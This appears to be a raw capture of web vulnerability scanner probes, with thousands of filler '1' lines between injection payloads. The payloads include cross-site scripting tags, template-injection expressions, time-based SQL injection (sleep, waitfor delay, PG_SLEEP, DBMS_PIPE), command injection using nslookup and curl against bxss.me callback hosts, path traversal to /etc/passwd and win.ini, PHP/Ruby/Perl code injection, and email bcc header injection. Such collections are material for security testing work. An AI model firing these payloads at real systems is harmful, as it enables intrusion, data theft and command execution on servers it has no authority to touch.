1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >mtDm(9443)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >mtDm(9222)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19874053
1
1
1
1
1
1
1
1
1
1
1
1
1
bfg7464＜s1﹥s2ʺs3ʹhjl7464
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfgx7959
1
1
1
1
1
1
1
1
1
1
1
<%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1
1
1
19378"();}]9866
1
1
1
1
1
1
%31%39%36%36%38%22%28%29%3B%7D%5D%39%38%38%34
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1</script><script>mtDm(9562)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9725920*9377927)
1
'+response.write(9725920*9377927)+'
1
"+response.write(9725920*9377927)+"
1
1
1
1
1
1
1
1
1
1
1
echo umkqnp$()\ qplssj\nz^xyu||a #' &echo umkqnp$()\ qplssj\nz^xyu||a #|" &echo umkqnp$()\ qplssj\nz^xyu||a #
1
&echo hhvphx$()\ jfjdze\nz^xyu||a #' &echo hhvphx$()\ jfjdze\nz^xyu||a #|" &echo hhvphx$()\ jfjdze\nz^xyu||a #
|echo eyliky$()\ cideeh\nz^xyu||a #' |echo eyliky$()\ cideeh\nz^xyu||a #|" |echo eyliky$()\ cideeh\nz^xyu||a #
1
1
(nslookup -q=cname hitgmrmyjvqlhde60c.bxss.me||curl hitgmrmyjvqlhde60c.bxss.me))
1
1
$(nslookup -q=cname hitxhtzgmdngic3a88.bxss.me||curl hitxhtzgmdngic3a88.bxss.me)
1
&nslookup -q=cname hitucakboyewf25bb8.bxss.me&'\"`0&nslookup -q=cname hitucakboyewf25bb8.bxss.me&`'
1
1
&(nslookup -q=cname hitsgddujsnoeda57b.bxss.me||curl hitsgddujsnoeda57b.bxss.me)&'\"`0&(nslookup -q=cname hitsgddujsnoeda57b.bxss.me||curl hitsgddujsnoeda57b.bxss.me)&`'
1
|(nslookup -q=cname hitojvfhotoxcf7d80.bxss.me||curl hitojvfhotoxcf7d80.bxss.me)
1
1
1
`(nslookup -q=cname hitiogyluwkzi78bf8.bxss.me||curl hitiogyluwkzi78bf8.bxss.me)`
1
;(nslookup -q=cname hitiztwziddyd6f2cb.bxss.me||curl hitiztwziddyd6f2cb.bxss.me)|(nslookup -q=cname hitiztwziddyd6f2cb.bxss.me||curl hitiztwziddyd6f2cb.bxss.me)&(nslookup -q=cname hitiztwziddyd6f2cb.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
../../../../../../../../../../../../../../windows/win.ini
1
file:///etc/passwd
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 bcc:009247.4312-1154.4312.e84fa.19955.2@bxss.me
1
1
1
to@example.com> bcc:009247.4312-1155.4312.e84fa.19955.2@bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999808+10000059}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
/etc/shells
1
1
1
1
1
1
qm4aQOf9
1
1
-1 OR 2+499-499-1=0+0+0+1 --
c:/windows/win.ini
1
1
-1 OR 2+758-758-1=0+0+0+1
1
bxss.me
1
1
-1' OR 2+289-289-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
-1' OR 2+75-75-1=0+0+0+1 or '7LFEuUCk'='
1
-1" OR 2+372-372-1=0+0+0+1 --
1
1
1
1
1
1
)
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1'&&sleep(27*1000)*bhuwdj&&'
1
1
1
1
1
1"&&sleep(27*1000)*coxxkf&&"
1
1
1'||sleep(27*1000)*nfrzxl||'
1
1
1
1
1
1"||sleep(27*1000)*tlketa||"
1
1
1
1
1
1
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
'.gethostbyname(lc('hitvy'.'cfybwzkz96ad9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(83).chr(104).chr(77).'
1
1
".gethostbyname(lc("hitsv"."uirnkwgy0f057.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(81).chr(98).chr(67)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
IeRPEUxZ'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
';print(md5(31337));$a='
1
1
";print(md5(31337));$a="
1
${@print(md5(31337))}
-5 OR 296=(SELECT 296 FROM PG_SLEEP(15))--
1
1
${@print(md5(31337))}\
1
'.print(md5(31337)).'
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5) OR 671=(SELECT 671 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(120).concat(72).concat(101).concat(73)+(require"socket" Socket.gethostbyname("hitpm"+"pkbbgtxm433d4.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(102).concat(86).concat(102).concat(68)+(require'socket' Socket.gethostbyname('hitna'+'acpyxvzl6a1e5.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1)) OR 130=(SELECT 130 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
USWF3qZf' OR 163=(SELECT 163 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
qJMbKOeW') OR 590=(SELECT 590 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
6HJfshew')) OR 170=(SELECT 170 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
create
1
1
1
1
1
@@6jo60
1
create
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
'"
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >Mn34(9831)</ScRiPt>
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >Mn34(9139)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
19770887
1
1
1
1
1
1
bfg10353＜s1﹥s2ʺs3ʹhjl10353
1
1
1
1
bfgx5619
1
1
1
1
1
1
<%={{={@{#{${dfb}}%>
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
dfb{{98991*97996}}xca
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
19623"();}]9679
1
%31%39%35%37%36%22%28%29%3B%7D%5D%39%33%35%39
1</script><script>Mn34(9406)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
%0abcc:009247.4312-2928.4312.18816.19955.2@bxss.me
response.write(9110832*9361969)
'+response.write(9110832*9361969)+'
to@example.com>%0d%0abcc:009247.4312-2929.4312.18816.19955.2@bxss.me
"+response.write(9110832*9361969)+"
<esi:include src="http://bxss.me/rpb.png"/>
${9999218+9999736}
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
'.gethostbyname(lc('hitjf'.'nkqzdsib78b5a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(81).chr(99).chr(90).'
".gethostbyname(lc("hitts"."czhwrjjz0036f.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(86).chr(105).chr(65)."
)
!(()&&!|*|*|
^(#$!@#$)(()))******
'"()
'&&sleep(27*1000)*perhsa&&'
"&&sleep(27*1000)*rontgx&&"
'||sleep(27*1000)*roittr||'
"||sleep(27*1000)*hmuzsj||"
HttP://bxss.me/t/xss.html?%00
echo bfnovm$()\ zeoodc\nz^xyu||a #' &echo bfnovm$()\ zeoodc\nz^xyu||a #|" &echo bfnovm$()\ zeoodc\nz^xyu||a #
bxss.me/t/xss.html?%00
&echo kwrkmf$()\ zvtjvs\nz^xyu||a #' &echo kwrkmf$()\ zvtjvs\nz^xyu||a #|" &echo kwrkmf$()\ zvtjvs\nz^xyu||a #
|echo zgjrkf$()\ zrytlp\nz^xyu||a #' |echo zgjrkf$()\ zrytlp\nz^xyu||a #|" |echo zgjrkf$()\ zrytlp\nz^xyu||a #
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
(nslookup -q=cname hitoiendcjpch15e28.bxss.me||curl hitoiendcjpch15e28.bxss.me))
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
$(nslookup -q=cname hitncxxmfcjvj89b59.bxss.me||curl hitncxxmfcjvj89b59.bxss.me)
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
&nslookup -q=cname hitqxlfydvyhee48e0.bxss.me&'\"`0&nslookup -q=cname hitqxlfydvyhee48e0.bxss.me&`'
/etc/shells
&(nslookup -q=cname hitynddekzedgf4bd9.bxss.me||curl hitynddekzedgf4bd9.bxss.me)&'\"`0&(nslookup -q=cname hitynddekzedgf4bd9.bxss.me||curl hitynddekzedgf4bd9.bxss.me)&`'
c:/windows/win.ini
bxss.me
|(nslookup -q=cname hitxciyvtgwpi7b47e.bxss.me||curl hitxciyvtgwpi7b47e.bxss.me)
"+"A".concat(70-3).concat(22*4).concat(108).concat(69).concat(103).concat(69)+(require"socket" Socket.gethostbyname("hitka"+"ymnnjpcr39a4b.bxss.me.")[3].to_s)+"
`(nslookup -q=cname hitmjewoiquld35f6a.bxss.me||curl hitmjewoiquld35f6a.bxss.me)`
'+'A'.concat(70-3).concat(22*4).concat(106).concat(72).concat(119).concat(75)+(require'socket' Socket.gethostbyname('hitzm'+'yqzoyktv005b4.bxss.me.')[3].to_s)+'
;(nslookup -q=cname hitwhbtrpwbap62fca.bxss.me||curl hitwhbtrpwbap62fca.bxss.me)|(nslookup -q=cname hitwhbtrpwbap62fca.bxss.me||curl hitwhbtrpwbap62fca.bxss.me)&(nslookup -q=cname hitwhbtrpwbap62fca.b
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
xfs.bxss.me
'.print(md5(31337)).'
'"
<!--
1'"()&%<zzz><ScRiPt >KQT7(9876)</ScRiPt>
'"()&%<zzz><ScRiPt >KQT7(9018)</ScRiPt>
19113808
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
../../../../../../../../../../etc/passwd%00.jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
../././../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
/WEB-INF/web.xml
WEB-INF/web.xml
WEB-INF\web.xml
1
1
dARBBhYB
-1 OR 2+374-374-1=0+0+0+1 --
-1 OR 2+466-466-1=0+0+0+1
-1' OR 2+659-659-1=0+0+0+1 --
-1' OR 2+356-356-1=0+0+0+1 or 'Uu8Tn73a'='
-1" OR 2+197-197-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
qDiJ2PLT'; waitfor delay '0:0:15' --
-5 OR 797=(SELECT 797 FROM PG_SLEEP(15))--
-5) OR 982=(SELECT 982 FROM PG_SLEEP(15))--
-1)) OR 170=(SELECT 170 FROM PG_SLEEP(15))--
VKuAnC1I' OR 222=(SELECT 222 FROM PG_SLEEP(15))--
ftjuUpcJ') OR 69=(SELECT 69 FROM PG_SLEEP(15))--
ltBNwIoL')) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
@@QrCcQ
1
Teaching
Teacher
1
1
1
1
1
1tXeeA2gO
1
1
1
1
1
)
1
!(()&&!|*|*|
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitlc'.'ioxfdthndc429.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(78).chr(109).chr(80).'
1smShcuSC
1
".gethostbyname(lc("hitsr"."okfsodle387c4.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(89).chr(117).chr(67)."
1
1
1
-1 OR 2+836-836-1=0+0+0+1 --
1
1
1
1
-1 OR 2+20-20-1=0+0+0+1
1
1
-1' OR 2+243-243-1=0+0+0+1 --
1
1
-1' OR 2+791-791-1=0+0+0+1 or 'L5kG2IbP'='
1
1
1
-1" OR 2+81-81-1=0+0+0+1 --
1
1
1*if(now()=sysdate(),sleep(15),0)
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1-1 waitfor delay '0:0:15' --
1
1Pah1wHCr'; waitfor delay '0:0:15' --
1
1
1
1-1 OR 161=(SELECT 161 FROM PG_SLEEP(15))--
1
1-1) OR 282=(SELECT 282 FROM PG_SLEEP(15))--
1
1
1-1)) OR 858=(SELECT 858 FROM PG_SLEEP(15))--
1
1
18DDNLRIp' OR 598=(SELECT 598 FROM PG_SLEEP(15))--
1
1of63u7ZS') OR 340=(SELECT 340 FROM PG_SLEEP(15))--
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1YU62pgv8')) OR 902=(SELECT 902 FROM PG_SLEEP(15))--
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
';print(md5(31337));$a='
1
1
";print(md5(31337));$a="
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
${@print(md5(31337))}
1
1'"
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
@@cI2KN
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
nbBjZ2dq
1
1&n936154=v956111
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo xgyqsn$()\ brvubc\nz^xyu||a #' &echo xgyqsn$()\ brvubc\nz^xyu||a #|" &echo xgyqsn$()\ brvubc\nz^xyu||a #
1
1
&echo cnwyip$()\ gcsbvf\nz^xyu||a #' &echo cnwyip$()\ gcsbvf\nz^xyu||a #|" &echo cnwyip$()\ gcsbvf\nz^xyu||a #
1
1
1
1&echo rkxbmo$()\ sdaqfe\nz^xyu||a #' &echo rkxbmo$()\ sdaqfe\nz^xyu||a #|" &echo rkxbmo$()\ sdaqfe\nz^xyu||a #
1
1
../../../../../../../../../../../../../../etc/passwd
|echo rksmpi$()\ idnmao\nz^xyu||a #' |echo rksmpi$()\ idnmao\nz^xyu||a #|" |echo rksmpi$()\ idnmao\nz^xyu||a #
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1|echo urwwlj$()\ fpyrsu\nz^xyu||a #' |echo urwwlj$()\ fpyrsu\nz^xyu||a #|" |echo urwwlj$()\ fpyrsu\nz^xyu||a #
1
file:///etc/passwd
1
1
(nslookup -q=cname hitsmrammilrwd22b2.bxss.me||curl hitsmrammilrwd22b2.bxss.me))
1
1
1
1
$(nslookup -q=cname hitrplqgqgbqz7a862.bxss.me||curl hitrplqgqgbqz7a862.bxss.me)
1
../1
1
1
1
1
1
1
&nslookup -q=cname hitlszahdbrouc8512.bxss.me&'\"`0&nslookup -q=cname hitlszahdbrouc8512.bxss.me&`'
1
&(nslookup -q=cname hitukxaeujwwu26fdb.bxss.me||curl hitukxaeujwwu26fdb.bxss.me)&'\"`0&(nslookup -q=cname hitukxaeujwwu26fdb.bxss.me||curl hitukxaeujwwu26fdb.bxss.me)&`'
1
1
1
1
1
|(nslookup -q=cname hituisbweclcwf343c.bxss.me||curl hituisbweclcwf343c.bxss.me)
1
1
1
`(nslookup -q=cname hitzphntinsoka5ddf.bxss.me||curl hitzphntinsoka5ddf.bxss.me)`
1
1
1
;(nslookup -q=cname hitfxhlftxyzk10fba.bxss.me||curl hitfxhlftxyzk10fba.bxss.me)|(nslookup -q=cname hitfxhlftxyzk10fba.bxss.me||curl hitfxhlftxyzk10fba.bxss.me)&(nslookup -q=cname hitfxhlftxyzk10fba.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999565+9999958}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
response.write(9613509*9905680)
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
'+response.write(9613509*9905680)+'
1
Http://bxss.me/t/fit.txt
1
1
"+response.write(9613509*9905680)+"
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
/etc/shells
1
1
1
c:/windows/win.ini
1
1
HttP://bxss.me/t/xss.html?%00
1
1
bxss.me
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
